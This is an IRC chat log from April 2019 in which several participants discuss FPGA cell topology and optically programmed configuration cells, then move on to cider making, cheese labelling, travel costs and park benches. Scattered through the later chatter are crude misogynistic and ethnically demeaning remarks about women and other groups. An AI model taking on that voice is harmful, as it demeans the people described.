1907894;1554915632;mp_en_viaje;it's not that "oh, 27 cells fit better 3x3x3 than 5x5". it's that end to end in cube is >3 and in square >6
1907895;1554915656;asciilifeform;mp_en_viaje: routing is the typical eater of sq.metrage in fpga
1907896;1554915670;mp_en_viaje;aha.
1907897;1554915681;asciilifeform;cuz most actual circuits consist of many small islands of mechanism, connected via narrow paths
1907898;1554915694;mp_en_viaje;yes.
1907899;1554915800;asciilifeform;theoretically, this kinda thing is chemistry-insensitive, could bake it on any process available, denser 1 will simply give you moar cells.
1907900;1554915864;asciilifeform;i suspect if sovok had lived another 2-3 yrs, there's be ddr-baked examples of this in my parts box.
1907901;1554915877;asciilifeform;as it is, no one (surprise!1111) bakes.
1907902;1554915913;asciilifeform;( before you laff -- sovok in fact did bake fpga. i have a sample. but it was mid-80s state of art, i.e. metallization-programmed )
1907903;1554916131;asciilifeform;1 interesting, imho, variation, would be to program the config regs ~optically~, a la 'cd-r'.
1907904;1554916154;asciilifeform;rather than via the usual cascaded shift registers. get 4-5x the density, 'for phree'
1907905;1554916201;asciilifeform;the config logic is ~80% of the sq.metrage, in an item like this.
1907906;1554916289;mp_en_viaje;you know, like the early bitcoin asics.
1907907;1554916307;asciilifeform;simplest physical realization of this, would be to position eprom cells along a spiral. then can program via ordinary uv laser in konsoomer 'dvd-r'.
1907908;1554916325;asciilifeform;mp_en_viaje: y'mean the faux-asics that were relabeled xilinxen lol
1907909;1554916353;mp_en_viaje;in fact, a cd-shaped cd-writing cut processing item might work exceedingly well. have the buslines in the middle, basically you just add the discs on a rod.
1907910;1554916417;asciilifeform;dunno if you could use an unmodified disk writer, given as the largest practical die is still smaller than the spindle hole. but same write head defo.
1907911;1554916495;mp_en_viaje;sparse die.
1907912;1554916555;asciilifeform;it aint even like you can't buy a 30cm piece of si crystal. errybody does already, they simply cut it into 1cm^2 squares. simply costs.
1907913;1554916598;asciilifeform;generally you wouldn't want 'sparse die' tho, nobody cancelled speed of light etc
1907914;1554916725;mp_en_viaje;1um process means you get ... /me goes to look it up.... http://www.cmcdisc.com/cr_spec.htm <<< 120 mm outer diam, so like pi r ^ 2 0.044 sqm, 4.4e10 nodes.
1907915;1554916741;mp_en_viaje;per "disc"
1907916;1554916747;asciilifeform;you'd want 'dvd' density
1907917;1554916752;mp_en_viaje;asciilifeform, this is potentially non-si (or maybe sparsely crystallized si, or w/e)
1907918;1554916752;asciilifeform;i.e. 450nm laser
1907919;1554916766;mp_en_viaje;asciilifeform, i was thinking you cut um. that's 2x.
1907920;1554916788;asciilifeform;mp_en_viaje: i dun presently know of an economical non-si substrate. was thinking strictly in the bounds of current commercial processes.
1907921;1554916825;mp_en_viaje;consider a sheet of gold upon which small si crystals are found, say.
1907922;1554916836;asciilifeform;( current/historical. thing'd work just as well in 1970s 4um as in today's 8nm etc )
1907923;1554916849;asciilifeform;mp_en_viaje: substrate gotta be a dopable insulator
1907924;1554916852;mp_en_viaje;the thing with this (wholly futuristic talk)  process would be that even if 1/3 of your cells work, whatever.
1907925;1554916874;asciilifeform;saphire worx, diamond worx, si worx (and currently cheapest)
1907926;1554916905;asciilifeform;mp_en_viaje: on anyffing at all, you get the 'only n % gotta work'
1907927;1554916912;asciilifeform;you map'em out, like 'bad blocks' on '80s hdd
1907928;1554916923;mp_en_viaje;if you could produce blanks that i can cut with a cd-writer into as much as  few hundred cell "fpgas"...
1907929;1554916936;asciilifeform;this'd have the obv. down side, that your prop. delays are not deterministic. but would be cheap.
1907930;1554916946;mp_en_viaje;aha.
1907931;1554917022;asciilifeform;but indeed, homogeneous matrix of cells buys you 'hdd-like' item, where it is not necessary for whole thing to work
1907932;1554917030;asciilifeform;in order to be of use
1907933;1554917097;asciilifeform;( i suspect mp_en_viaje knew this already, but even intel et al, 'cheat', when you buy a pentium-whatever with 'n cores', it really has 24 or whatnot, and only n working units , the others lasered out )
1907934;1554917126;asciilifeform;the 'nanometer' densities have piss-poor yield, and this is how it is papered over.
1907935;1554917214;mp_en_viaje;aha.
1907936;1554917272;asciilifeform;xilinx incidentally has already confessed to resorting to 'cubism'/layered dies, to meet their claimed cell counts.
1907937;1554917290;asciilifeform;but i was thinking moar along the lines of the simplest device that'd be of practical use, rather than 'futurisms'.
1907938;1554917370;asciilifeform;the '80s-style 2d tile already gives you, e.g., simple means to bake arbitrarily-wide alu. for instance.
1907939;1554917444;mp_en_viaje;i guess so. aaanyways. maybe one day.
1907940;1554917466;asciilifeform;i expect we'll want to simulate it, before anyone thinks of baking.
1907941;1554917486;mp_en_viaje;well, did you simulate xraying before doing it ? :D
1907942;1554917492;asciilifeform;unlike the idjit heterogeneous fpga sold today, this item'd be a snap to simulate.
1907943;1554917510;asciilifeform;mp_en_viaje: as a matter of fact i did. how do you suppose i knew what beam cone to use, lol
1907944;1554917517;mp_en_viaje;:p
1907945;1554917543;asciilifeform;( granted it's a 10min chalkboard 'newtonian' 'sim' )
1907946;1554917668;asciilifeform;simple enuff tech, that it actually begins to seem 'boring', which makes it auto-interesting to asciilifeform ..
1907947;1554918331;PeterL;http://btcbase.org/log/2019-04-10#1907838 << you might not know if you avoid places they put ads (tv), but in their recent ads McD has been talking up their beef
1907948;1554918331;a111;Logged on 2019-04-10 16:32 mp_en_viaje: asciilifeform, moreover, mcdonalds claims meat in "food" series.
1907949;1554918357;asciilifeform;PeterL: believe or not , i dun think i've seen a mcd ad since i stopped riding the trains erryday
1907950;1554918377;asciilifeform;for all i know, they serve up penguin flippers nao
1907951;1554918384;PeterL;I don't think you are suffering from missing them
1907952;1554918525;*;asciilifeform prolly to nobody's great surprise, dun have a tv , or at least not the usual kind with tuner
1907953;1554918652;asciilifeform;if 1 day they start broadcasting sumthing interesting, e.g. beheadings , i suppose i can run perl script on that sdr box and get 'tv' .
1907954;1554919646;BingoBoingo;Down here they broadcast Maduro from time to time
1907955;1554921025;feedbot;http://qntra.net/2019/04/heroic-roomba-occupies-numerous-oregon-law-enforcement-man-hours-in-standoff/ << Qntra -- Heroic Roomba Occupies Numerous Oregon "Law Enforcement" Man Hours In Standoff
1907956;1554928361;asciilifeform;http://btcbase.org/log/2019-04-10#1907891 << thinking about this further, prolly Right Thing would be a hybrid where there's a repeating block of e.g. 32x32x32 cells connected in 'cube' (this, or even larger, would still fit on physically 2d die) arranged in n x m matrix
1907957;1554928361;a111;Logged on 2019-04-10 16:59 mp_en_viaje: kinda the advantage of cube, elementarily shorter paths.
1907958;1554928517;asciilifeform;idea being, that a typical subcircuit would fit inside 1 such cube .
1907959;1554928581;asciilifeform;depending on how many metal layers you have , could dispense entirely with 'subcubes' and give whole thing 'flattened cube' topology.
1907960;1554928650;asciilifeform;tho this might make prop.delay calculation slightly trickier. possibly what you'd want instead is to connect only the 4 'compass' faces of 'subcube' to adjacent units.
1907961;1554928658;*;asciilifeform bbl:tea
1907962;1554948271;feedbot;http://qntra.net/2019/04/eu-bureaucrats-set-new-october-31st-brexit-date-is-macron-the-sovereign-now/ << Qntra -- EU Bureaucrats Set New October 31st Brexit Date Is Macron The Sovereign Now?
1907963;1555000613;feedbot;http://qntra.net/2019/04/ecuador-to-recieve-4-2-billion-usd-imf-extended-fund-facility-coincidentally-british-police-managed-to-arrest-former-ecuador-embassy-resident-julian-assange-inside-embassy/ << Qntra -- Ecuador To Recieve 4.2 Billion USD IMF "Extended Fund Facility" (Coincidentally British Police Managed To Arrest Former Ecuador Embassy Resident Julian Assange Inside Embassy)
1907964;1555003518;mp_en_viaje;http://btcbase.org/log/2019-04-10#1907947 << moving into an imaginary "upmarket" of fast food, now that they've fucked the very concept of human alimentation in the us huh.
1907965;1555003518;a111;Logged on 2019-04-10 17:45 PeterL: http://btcbase.org/log/2019-04-10#1907838 << you might not know if you avoid places they put ads (tv), but in their recent ads McD has been talking up their beef
1907966;1555003541;mp_en_viaje;i guess coca-cola will end up a manufacturer of "fine vermouth", and western union will be a sorta cvasi-bank.
1907967;1555003575;PeterL;coke is a tasty drink
1907968;1555003586;mp_en_viaje;PeterL, slash rust stripper.
1907969;1555003602;mp_en_viaje;in other news, OriansJ fellow never actually came back for air after all, did he ?
1907970;1555003609;PeterL;I know it is bad for me, I could quit anytime I wanted to
1907971;1555003635;BingoBoingo;I haven't seen him return.
1907972;1555003651;mp_en_viaje;nevermind quitting, just you know, start drinking some actual drinks. buy yourself a and press, make some fresh squeezed oj, you lived in florida didn't you ?
1907973;1555003662;mp_en_viaje;a hand press*
1907974;1555003679;mp_en_viaje;looks almost exactly like a beer draught thingee, but considerably better for you.
1907975;1555003679;BingoBoingo;That was TaT, PeterL is in Michigan. Needs a cider press for dem apples.
1907976;1555003687;mp_en_viaje;oh oh. sat.
1907977;1555003730;PeterL;I'm in MI, yes (although I did just spend a week in florida last month)
1907978;1555003771;mp_en_viaje;so make some cider.
1907979;1555003799;mp_en_viaje;the truth of postmodernism is that tooling is so widely available, it costs ~same to buy a pellet of coca-cola and buy a cider making station.
1907980;1555003842;mp_en_viaje;unlike buying the coke, making the cider is ~fun~. even if you don't employ butt-naked girlies under the whip at the task. it's fucking fabulous for "traditional" fambly ranged children too!
1907981;1555003880;mp_en_viaje;don't let alf be the only one to take advantage of this whole "pay for xrays ? i'd rather buy the fucking xrayer" bounty we came to see.
1907982;1555003903;PeterL;I have a couple apple trees in my back yard, maybe this year I will try making some cider (they are still kinda little, had only a handful of apples last year)
1907983;1555003908;mp_en_viaje;for one thing, it won't last, and there's nothing quite as bitter as the regrets of children who missed out on shit in their disinterested parents' house.
1907984;1555003929;mp_en_viaje;PeterL, do they do the whole farmer market / people on side of road seling produce where you are ?
1907985;1555003949;PeterL;yeah, we do have a market here
1907986;1555003969;mp_en_viaje;for eg, i bought last winter something like 50 kgs of extremely ripe mangoes for like 15 bux or so it was ?
1907987;1555003970;asciilifeform;woah i just got a coupla kB of above in <1s
1907988;1555003977;asciilifeform;fleanode oddities.
1907989;1555003981;mp_en_viaje;made so much jam, we barely finished it as we were leaving. fucking fabulous.
1907990;1555003990;mp_en_viaje;asciilifeform, welcome back lol.
1907991;1555004013;asciilifeform;mp_en_viaje: did i visibly netsplit at your end ?
1907992;1555004025;mp_en_viaje;nope, but i guess it was silentsplit or something.
1907993;1555004031;asciilifeform;nsasplit lol
1907994;1555004056;mp_en_viaje;anyway, my point is -- if you have multiple cars, it PAYS to have a ditch installed in garage, within the year, heck within 6 months you'll pay for it from reduced maintenance bills. and so following.
1907995;1555004068;mp_en_viaje;the re-feudalisation of the world is in full swing, and this is precisely how it goes.
1907996;1555004119;asciilifeform;mp_en_viaje: the flip side is that one can end up like asciilifeform , i.e. with dozen tonnes of ??? , from xray cabinet to that weird wrench one uses to swap water heater coils
1907997;1555004128;mp_en_viaje;same is true across the board -- if you have even a cursory interest in something, owning some machinery is a great move. this includes food, obviously enough, but if you have spare femhands tailoring is QUITE reasonable. then they can dress BETTER than what any fashion catalog can provide, and for pennies on the dollar as what those idiots charge.
1907998;1555004150;mp_en_viaje;same with houses -- yurp is fulla doods who built their own. and so on. everything -- if you have more than a cursory interest, buy the  tooling.
1907999;1555004165;mp_en_viaje;asciilifeform, it is your own damned fault. i don't try to run a harem by myself, fuck my own ass.
1908000;1555004166;PeterL;every "real man" should have a toolbox and know how to use it
1908001;1555004175;asciilifeform;( phood also -- asciilifeform eats icecream strictly from pet's icecream-production machinery, etc )
1908002;1555004184;mp_en_viaje;if you had a dozen bois working with you, as calfe, as god fucking intended it...
1908003;1555004204;mp_en_viaje;ie, your problem is entirely self-manufactured, by hermitry.
1908004;1555004220;asciilifeform;hey if i knew how, would have full submarine crew by nao, lol
1908005;1555004230;mp_en_viaje;ever tried putting an ad up ?
1908006;1555004243;mp_en_viaje;same local paper they do castign calls in.
1908007;1555004289;*;asciilifeform pictures ye olde 1990s gag ad for 'linux airlines' . the 1 where 'come at 1200 hrs with cardboard panel ready to strap to arm and flap'
1908008;1555004294;BingoBoingo;Pantsuit killed the useful category of ad to put up.
1908009;1555004311;*;mp_en_viaje can't find wtf calfa is in english. turk kalfa. apprentice ?
1908010;1555004352;PeterL;intern?
1908011;1555004435;PeterL;asciilifeform: Isn't there a Uni right around the corner from you? Put up a poster in the engineering department or wherever the "nerds who build stuff" hang out
1908012;1555004469;mp_en_viaje;PeterL, i thought the intern is more the ancient "candidate", ie, bureaucrat sticking around for no pay. like that celebrated schmuck "helping out" on wikipedia admin board, "because he thinks he's being useful". "until someone tells him to stop".
1908013;1555004501;PeterL;well, there are unpaid interns and paid interns, also depends on the org
1908014;1555004502;mp_en_viaje;more like officious intermeddler than the item intended here, "supernumerary sex slave nobody finds the time to fuck"
1908015;1555004516;mp_en_viaje;PeterL, does the org feed the intern ?
1908016;1555004557;asciilifeform;lol another 8kB in <1s
1908017;1555004577;asciilifeform;it's as if wiretap monkey were hand-carrying a floppy
1908018;1555004617;PeterL;where I work we get college student who are in chem-related fields to come and wash our glassware, we train them to do whatever menial tasks, they get tiny pay but it looks good on their resume
1908019;1555004618;BingoBoingo;Better ad would be in ye olde "Adult gigs" of the flavor "Seeking female students to star in short films, ongoing collaboration and South American beaches possible for the right bitches"
1908020;1555004679;asciilifeform;PeterL: at one time (long before i found out about mp's uni ad flyers) i put up some ads there; guess what result ? ( buncha grad students begging to have their homework done , and offering such laffably small bakshish that it was not worth for asciilifeform to even turn key in car )
1908021;1555004692;mp_en_viaje;PeterL, i dunno, the institution has some very strict constraints. for one thing, it must be ~personal~, if there's not a master personally responsible for the individual dork, it's not kalfi, it's something else. and yes, they're supposed to sit around and eat lunch with you.
1908022;1555004768;BingoBoingo;Now the short films in this case would NOT be porn, there's too much of that. I would instead be how to videos. Whatever homework alf has for chick, end product is bottomless instructional video.
1908023;1555004820;mp_en_viaje;https://en.wikipedia.org/wiki/Kalfa << the wiki article is remarkably on point for a wiki article.
1908024;1555004820;BingoBoingo;Water heater coil changes, toyota waxing, cider pressing, whatever.
1908025;1555004843;asciilifeform;BingoBoingo: i can't speak for erry fortress of us.academitardia, but in mine, the ~only chix in the engineering hall were 'dark meat' in hijab
1908026;1555004877;asciilifeform;( and even these, ~1 per ~100 or so cocks )
1908027;1555004878;mp_en_viaje;item was the basis of the guild revolution in europe (because yes, ottoman contact, incl "fall" of constantinople -- more properly, RISING of ~) was very highly +ev for the yurpeans, culturally.
1908028;1555004882;BingoBoingo;Well, don't recruit in engineering. I never spec'd that. Go for nutrition, early childhood education, etc.
1908029;1555004900;mp_en_viaje;asciilifeform, females screaming for rescue ain't gonna be fgound in engineering.
1908030;1555004909;mp_en_viaje;basically what he said. "psychology", "business", whatever.
1908031;1555004952;BingoBoingo;Just avoid the local facultad de derecho, that's probably irredeemable damaged goods with soldered on pantsuit
1908032;1555004962;mp_en_viaje;i wouldn't bet.
1908033;1555004964;asciilifeform;when mp_en_viaje wrote that he trained these to do useful work, i believe. but it is a world-class feat, like kuklachev's famous housecat circus. i dunno that it's been replicated.
1908034;1555005014;mp_en_viaje;asciilifeform, aim for the kiklachev -- even if you fail it's likely to be an achievement. rather than aim for "reasonable in modern democracy" -- even if you succeed it'll disappoint.
1908035;1555005040;mp_en_viaje;it's always best to fail at taking over the world, than to succeed at taking over wales.
1908036;1555005211;asciilifeform;leaving aside the matter where asciilifeform's meat-training skill is approx on par with his mig pilotage skill -- mp_en_viaje would bust gut laffing if he knew how uniquely poor asciilifeform is set up for subj. e.g. as it is , i dun even have physical sq. metrage for a hypothetical #3 crew.
1908037;1555005263;*;asciilifeform reliably ends up replicating 'nazi uboat' wherever he lives. complete with bulkheads
1908038;1555005267;mp_en_viaje;hey, i constantly end up with this problem, and my answer is always the same : get satellite dwelling, then get larger main, then end up getting satellite again, and so on.
1908039;1555005301;mp_en_viaje;can't limit self by walls -- it's not a prison, it's a house, meaning walls are cut according to your size, and not your size according to walls.
1908040;1555005312;asciilifeform;limited by budget, not wall per se
1908041;1555005325;mp_en_viaje;nothing wrong with getting +ev newbies.
1908042;1555005344;mp_en_viaje;consdier that it is A LOT cheaper for you to host marginal added girl than for her to "live independently".
1908043;1555005351;mp_en_viaje;a pot that feeds five, will feed six.
1908044;1555005366;PeterL;we could rehash the convo where I say "you could move over here and get twice the floor for half the cost" and then you say "but muh fancy cheezes!"
1908045;1555005380;asciilifeform;[insert thrd here]
1908046;1555005405;*;mp_en_viaje had deviled eggs made yest. 16 eggs = 32 halves + 7 for mayo. in other words, whole fucking carton, plus lb of deli meat etc. all went within the day, but i care not -- next time, 45!
1908047;1555005462;asciilifeform;and in field kitchen, no less ? a++
1908048;1555005463;mp_en_viaje;sent a half dozen to neighbour, too (specifically because by now i know how to work the tolerances into the experimental data). poor woman nearly inhaled them. "omg so good". yes, duh, have some elbow-made mayo sometime, half the calories, twice the epicurean gainz.
1908049;1555005472;mp_en_viaje;asciilifeform, ah, not field, i'm most comfortably setup here.
1908050;1555005486;asciilifeform;leased palace, like phf in his india days ?
1908051;1555005518;mp_en_viaje;PeterL, which is deeply fucking ridiculous, for one thing he's away from cheeseland anyway, and for the other cheeses transport. except the fresh stuff, of course-- i bought some urda you couldn't believe.
1908052;1555005527;mp_en_viaje;asciilifeform, quite.
1908053;1555005557;mp_en_viaje;including Z shaped porn couch, quite satisfyingly hosts 3+ on their back.
1908054;1555005567;asciilifeform;pretty neat
1908055;1555005580;mp_en_viaje;to have, one must first seek.
1908056;1555005670;mp_en_viaje;but anyway, if your per-capita budget is 2-3k, which is luxuriously generous in my experience, half a dozen actives means you can afford to rent whatever the fuck, and adding a 7th will positively not show in the grocery weeklies.
1908057;1555005708;mp_en_viaje;"they had sprots, so i bought three dozen cans" incidentals way, way the fuck overwhelm any "well, i now have to buy flower ever slightly more often, nooblet also eats bread".
1908058;1555005747;mp_en_viaje;to get back to numbers, if your per-capita budget is in the 2-3k, the marginal addition needn't even be specifically financed. but it's sub 500 in any case. she can't fucking live on 500 a month anywhere else.
1908059;1555005770;asciilifeform;mp_en_viaje: funnily enuff, when i was in ro bought sample of erry tin claiming to contain sprat. then brought home and sampled. not 1 compares to the gost standard riga item.
1908060;1555005775;PeterL;speaking of cheese, I have heard this local party store has a strangely amazing selection of cheese https://eastmanpartystore.com/gourmet/cheeses/
1908061;1555005781;mp_en_viaje;asciilifeform, im sure.
1908062;1555005787;asciilifeform;for some reason they dun sell the riga sprat in ro, i cannot fathom why; but only weird german knockoff
1908063;1555005803;asciilifeform;must be condition of nato membership or sumsuch
1908064;1555005804;mp_en_viaje;asciilifeform, i don't expect you'd find it most places, really. do they sell it in maryland ?
1908065;1555005810;asciilifeform;mp_en_viaje: they do!
1908066;1555005815;asciilifeform;2 $ / ea
1908067;1555005828;asciilifeform;lotsa ru folx marooned here, not only asciilifeform , lol
1908068;1555005836;mp_en_viaje;PeterL, not to be an ass, but direct experience over years has by now convinced me it simply can't be the case new world makes cheese.
1908069;1555005853;asciilifeform;mp_en_viaje: it ~doesn't, most of what's edible is flown in
1908070;1555005905;mp_en_viaje;asciilifeform, i tend to buy the lithuanian variant.
1908071;1555005911;PeterL;the majority of list there is imported from Europe
1908072;1555005923;asciilifeform;mp_en_viaje: the 1 in glass jar ?
1908073;1555005936;mp_en_viaje;yes
1908074;1555005951;asciilifeform;these here also. i grew up with the riga (i shit thee not, there is a gost standard, and they still bake to it..) variant tho
1908075;1555005960;mp_en_viaje;oddly i dun see it online.
1908076;1555005980;asciilifeform;i haven't yet found online vendor, funnily enuff
1908077;1555005986;mp_en_viaje;anyways, it's a thing, people can rationalize it to themselves as "well, he likes anchovies, so this is like that"
1908078;1555005996;asciilifeform;the sprats live in old-fashioned meatspace shops run by elderly emigres
1908079;1555006008;asciilifeform;how they do the import, i do not know to this day
1908080;1555006013;mp_en_viaje;i can believe.
1908081;1555006048;asciilifeform;http://docs.cntd.ru/document/gost-280-2009 << oblig. gost spec for sprat.
1908082;1555006092;mp_en_viaje;PeterL, ah i see, after the fold. sure, "Parmigiano Reggiano", why not, if it's what it says it's what it says. though "pecorino reserva" for instance, says nothing to me.
1908083;1555006108;mp_en_viaje;pecorino is just a kind o fcheese. like you'd say "our legume shop has beans from reserve". ok...
1908084;1555006128;asciilifeform;mp_en_viaje: near as i can tell , ~nobody in north amer knows how to make edible soft cheese. hard -- some (at exorbitant price) yes
1908085;1555006138;PeterL;right, some descriptions could improve the list
1908086;1555006178;mp_en_viaje;old rotterdam is a very specific item ; "gouda 36 months' is like "vodka, clear"
1908087;1555006183;asciilifeform;price , for edible cheese , tends to 100 - 200 $ / kg.
1908088;1555006200;mp_en_viaje;PeterL, nevermind description, a ~clear and verifiable indication of origin~.
1908089;1555006213;PeterL;it's like the tex-mex style restraunt that says $item comes made with a "white queso blanco cheese"
1908090;1555006223;mp_en_viaje;there's a very substantial difference between "coffee imported from costa rica" and "coffee from santa margarita plantation in alajuela, costa rica"
1908091;1555006282;asciilifeform;lol picture if they somehow had to print the troof on the package. '10% mass brutto : coffee imported from zimbabwe ; 90% -- sawdust sweepings from sawmill in montgomery, alabama' etc
1908092;1555006356;mp_en_viaje;and so scrolling to france : Henri Hutin 60% Brie is correctly indicated, though i'd never buy it, wtf hutin. meanwhile "Raclette" gimme a break. why not "cheese", be done with it.
1908093;1555006414;mp_en_viaje;asciilifeform, i don' t begrudge supermaerket brands their discretion. but if you're trying for the upscale colonials, you'd gotta be an idiot to put up this visibly intern-made list. only impression it produces is "the author has no fucking idea what he's talking about".
1908094;1555006475;mp_en_viaje;understand, raclette is not even a denomination d'origine. it's made in fucking canada afaik. it's ~same as "melted cheese".
1908095;1555006543;PeterL;my guess is somebody looked at the case of cheeses and just wrote down whatever the biggest word they saw on the labels
1908096;1555006549;*;asciilifeform wonders what % of various items marketed in usa with claimed 'french', actually from canada
1908097;1555006555;mp_en_viaje;it seems quite likely, yes.
1908098;1555006567;mp_en_viaje;problem with that approach is that the somebody ~didn't specifically buy~.
1908099;1555006589;mp_en_viaje;you'd want to break into my wine cellar and steal some bottles ~because i bought them~. specifically because, my cellar doesnt contain the contents of a crashed delivery van.
1908100;1555006592;PeterL;could be different people, the one who buys and the one who makes website
1908101;1555006601;mp_en_viaje;much like you'd break into alf's ffa and read some lines. same reason.
1908102;1555006645;mp_en_viaje;PeterL, but WHY ? "could be different people, the one who cuts, and the one who sutures". yes, could. hanbot's surgeon came to inspect room and bathroom next day.
1908103;1555006671;mp_en_viaje;specifically because he'll be damned if his 10k an hour handiwork is gonna be ruined by some $5 an hour maintenance dorks. makes sense, dunnit ?
1908104;1555006715;PeterL;not everybody is website expert, guy who likes selling cheese might hire a webdesigner
1908105;1555006760;mp_en_viaje;and also hire someone off fiver to [http://trilema.com/2019/antiqua-sanctorum-patrum-or-the-lordship-list-sixth-year/#comment-128754]["do copywright"] ?
1908106;1555006804;mp_en_viaje;bankers also not web experts, hopefully they put their own data in the "banking app", as opposed to "tell web designer to make some accounts there too"
1908107;1555006826;PeterL;good point, I guess
1908108;1555007017;mp_en_viaje;gotta go to yurp sometime. everything's cheap these days, a grand or so for airfare ain't the end of the world. stay a week or two, try the cheeses, have definite, personal experience for rest of life. it's no tthe worst way to spend a vacation,
1908109;1555007060;asciilifeform;mp_en_viaje : asciilifeform + pet still not recovered from doing this in '17!1111 nao errything tasteslikeshit
1908110;1555007069;mp_en_viaje;but at least you know.
1908111;1555007104;asciilifeform;eh, knew before. but nao mouth also remembers
1908112;1555007118;mp_en_viaje;better than blowing the ~same load over at disneywor;d or w/e, esp if it's the 5th trip or some shit.
1908113;1555007126;mp_en_viaje;pay money to wait in line, i could never understand those people.
1908114;1555007138;*;asciilifeform innocent of subj, cannot comment
1908115;1555007213;mp_en_viaje;just saying, you know, what do people do for vacation. used to be "go to vegas", okay, i get it, high roller, picking up the casino cocksuckers cold and shit. fine, fine. most people now there, wasting their life a coin at a time on the dingdingmachines would be so much happier somewhere ~they never heard of~.
1908116;1555007220;asciilifeform;the most galling thing is that actual food in ro, costs <= to what pig slop costs in ameritardistan.
1908117;1555007225;mp_en_viaje;people tend to overfavour the shit they heard about, and to their own detriment.
1908118;1555007241;mp_en_viaje;asciilifeform, yeah, it was fucking cheap wasn't it.
1908119;1555007264;asciilifeform;errything cheap there. we had coupla thrds.
1908120;1555007273;asciilifeform;the only item that aint cheap is passport, lol
1908121;1555007293;*;mp_en_viaje will end up there too, at some point.
1908122;1555007314;PeterL;we did disney (everybody kept telling us the kids would live it!) I regret it, was not worth the price
1908123;1555007329;mp_en_viaje;kinda what i hear from ~everybody.
1908124;1555007431;asciilifeform;and yes not only food. cab ride around town in timis - ~$1 . (washingtonistan, similar kilometrage : ~100)
1908125;1555007442;mp_en_viaje;yeah it's not even a buck a mile is it.
1908126;1555007468;asciilifeform;or the palaces, which cost less than a decent auto in clintonistan
1908127;1555007478;mp_en_viaje;even fucking germany is cheap as dirt. for one thing, they show up within 3-4 minutes in these  utter boats of a mercedes or w/e, you've never seen cars like that outside an imaginary 50s us.
1908128;1555007488;mp_en_viaje;and then it's like... 1mark40 per km. gimme a break, really ?
1908129;1555007498;mp_en_viaje;euro i mean. but whatever, it's not THAT bad.
1908130;1555007616;mp_en_viaje;meanwhile new york, say la guardia to empire state, bout 10km or so, 40 bucks easy.
1908131;1555007634;asciilifeform;40 in 2000s. easily double nao
1908132;1555007640;PeterL;I have a co-worker, every year she goes to Vegas for a week (with her mother), buys some purses and eats junk food. I don't understand it.
1908133;1555007668;asciilifeform;PeterL: i suspect defensive mechanism. most of these folx, if went even to timis, would come home and eat their .45
1908134;1555007700;mp_en_viaje;asciilifeform, chick would prolly end up married.
1908135;1555007704;asciilifeform;just last night, asciilifeform takes walk with pet, and 'hey , why can't we have parks here'
1908136;1555007725;mp_en_viaje;there's a large contingent of indiana/ohio/whatever ~0 sexual market value wilting cows coming to costa rica to score husband.
1908137;1555007751;asciilifeform;mp_en_viaje: as i understand ( from mp_en_viaje's chronicles no less ) they do. but usually in arabistan, where they somehow like fat
1908138;1555007768;mp_en_viaje;asciilifeform, well, the 1.40 up to MAYBE 2 or so, is quite recent. germany is shockingly cheap for cabs, especially if one considers the exceptional quality.
1908139;1555007785;PeterL;what are you looking for in a park?
1908140;1555007785;mp_en_viaje;asciilifeform, there's a lot of female-fat tolerance in tico culture too.
1908141;1555007844;asciilifeform;PeterL: even sumthing as basic as a) 0 detectable smell of auto exhaust + b) no anti-hobo spikes on benches
1908142;1555007859;mp_en_viaje;what is the point of a spiked bench ? ritual object ?
1908143;1555007865;asciilifeform;0 in usa meet spec, unless i suppose you go to the mountains
1908144;1555007866;PeterL;none of the parks here have anti-hobo spikes
1908145;1555007880;mp_en_viaje;i don't think i've ever seen one...
1908146;1555007886;mp_en_viaje;where do the spikes go ?
1908147;1555007890;asciilifeform;mp_en_viaje: i have nfi what is point, but ~100% of park benches in large ameri-urban have'em
1908148;1555007910;asciilifeform;they go in the middle of bench (or if it is longer than 2 arses' width, they make arse-sized slots )
1908149;1555007936;mp_en_viaje;aahahahaha. buttslotted benches ?!
1908150;1555007946;asciilifeform;yep. standard in usa.
1908151;1555007948;asciilifeform;at least on east coast.
1908152;1555007959;mp_en_viaje;so if she leans over to kiss you she'll get stabbed in the tit ?
1908153;1555007964;asciilifeform;aha.
1908154;1555007978;mp_en_viaje;not very fake-boobs-friendly culture, is it.
1908155;1555007979;asciilifeform;and just try an' lie down & read book
1908156;1555008028;asciilifeform;mp_en_viaje: in ustarded cities, 5-10% of population is hobo. but Official Troof is that 0. hence various machinations to hide'em
1908157;1555008035;mp_en_viaje;german cops very useful btw, they know where shit is!
1908158;1555008078;mp_en_viaje;asciilifeform, i remember doing the math sometime, much to us-born chicks' shock and awe, came out that ANY US CITIZEN has ~50% chances to be hobo during lifetime.
1908159;1555008112;asciilifeform;depending on who counts as hobo -- larger.
1908160;1555008116;PeterL;<+asciilifeform> 0 in usa meet spec, unless i suppose you go to the mountains << I dunno about that, there are plenty of clean air parks around where I live
1908161;1555008119;mp_en_viaje;really put the acceptance of "this statistics thing, is genuine science" to the test. then we took to retrospective fambly history, even more horrified. "omg it's true"
1908162;1555008127;mp_en_viaje;"now consider how well hidden your own experience was from you"
1908163;1555008151;asciilifeform;mp_en_viaje: many 'secret' hobos, who still can afford to run auto, and live in that
1908164;1555008157;asciilifeform;these, not visible by counting benches etc
1908165;1555008166;mp_en_viaje;myeah.
1908166;1555008178;*;asciilifeform personally knew several
1908167;1555008199;mp_en_viaje;PeterL, michigan used to be like the pollution capital of the us, at some point. deindustrialization has its advantages huh.
1908168;1555008237;PeterL;it's been a while since lake Erie was literally on fire
1908169;1555008263;mp_en_viaje;meanwhile i'm sitting in this cafe, the table next, 4 chicks, one overweight, cucky dood. the table further away, three chicks, one overweight, cuky dood. the bar, three doods, salivatinursing beers.
1908170;1555008317;mp_en_viaje;there's ~fewer~ people here derping on their phones non stop, us-style "either actively eating or pissing, else clucking at shiny screen". nevertheless, millenial awkwardness is quite omnipresent.
1908171;1555008389;mp_en_viaje;point in case : 5 euro buys you phone line with all sorts of free, EXCEPT sms. those are 1 cent ea. get me ? voice calls, those are free (in most circumstances, and 3k monthly minutes for the one combination of exceptional things where they actuallt charge something). but not sms-en.
1908172;1555008412;mp_en_viaje;i suspect, specifically because these tards are so awkward, calling someone is "too much pressure".
1908173;1555008435;mp_en_viaje;how the fuck can you spend 50 hrs/month calling is anyone's guess, i'm not sure i spent that long on the phone since i was born
1908174;1555008443;mp_en_viaje;and i started WAY the fuck before ~everyone else.
1908175;1555008473;mp_en_viaje;if average phone user has had phone for > decade -- i, for >2decade. yet...
1908176;1555008999;diana_coman;mp_en_viaje: ugh, from direct experience I can tell you some find it very easy to spend 50hours/month calling - I knew girls who were literally ALL the time on the phone
1908177;1555009018;mp_en_viaje;i suppose this is even a trope
1908178;1555009019;asciilifeform;lolwtf. whatever happened to 'voip' etc
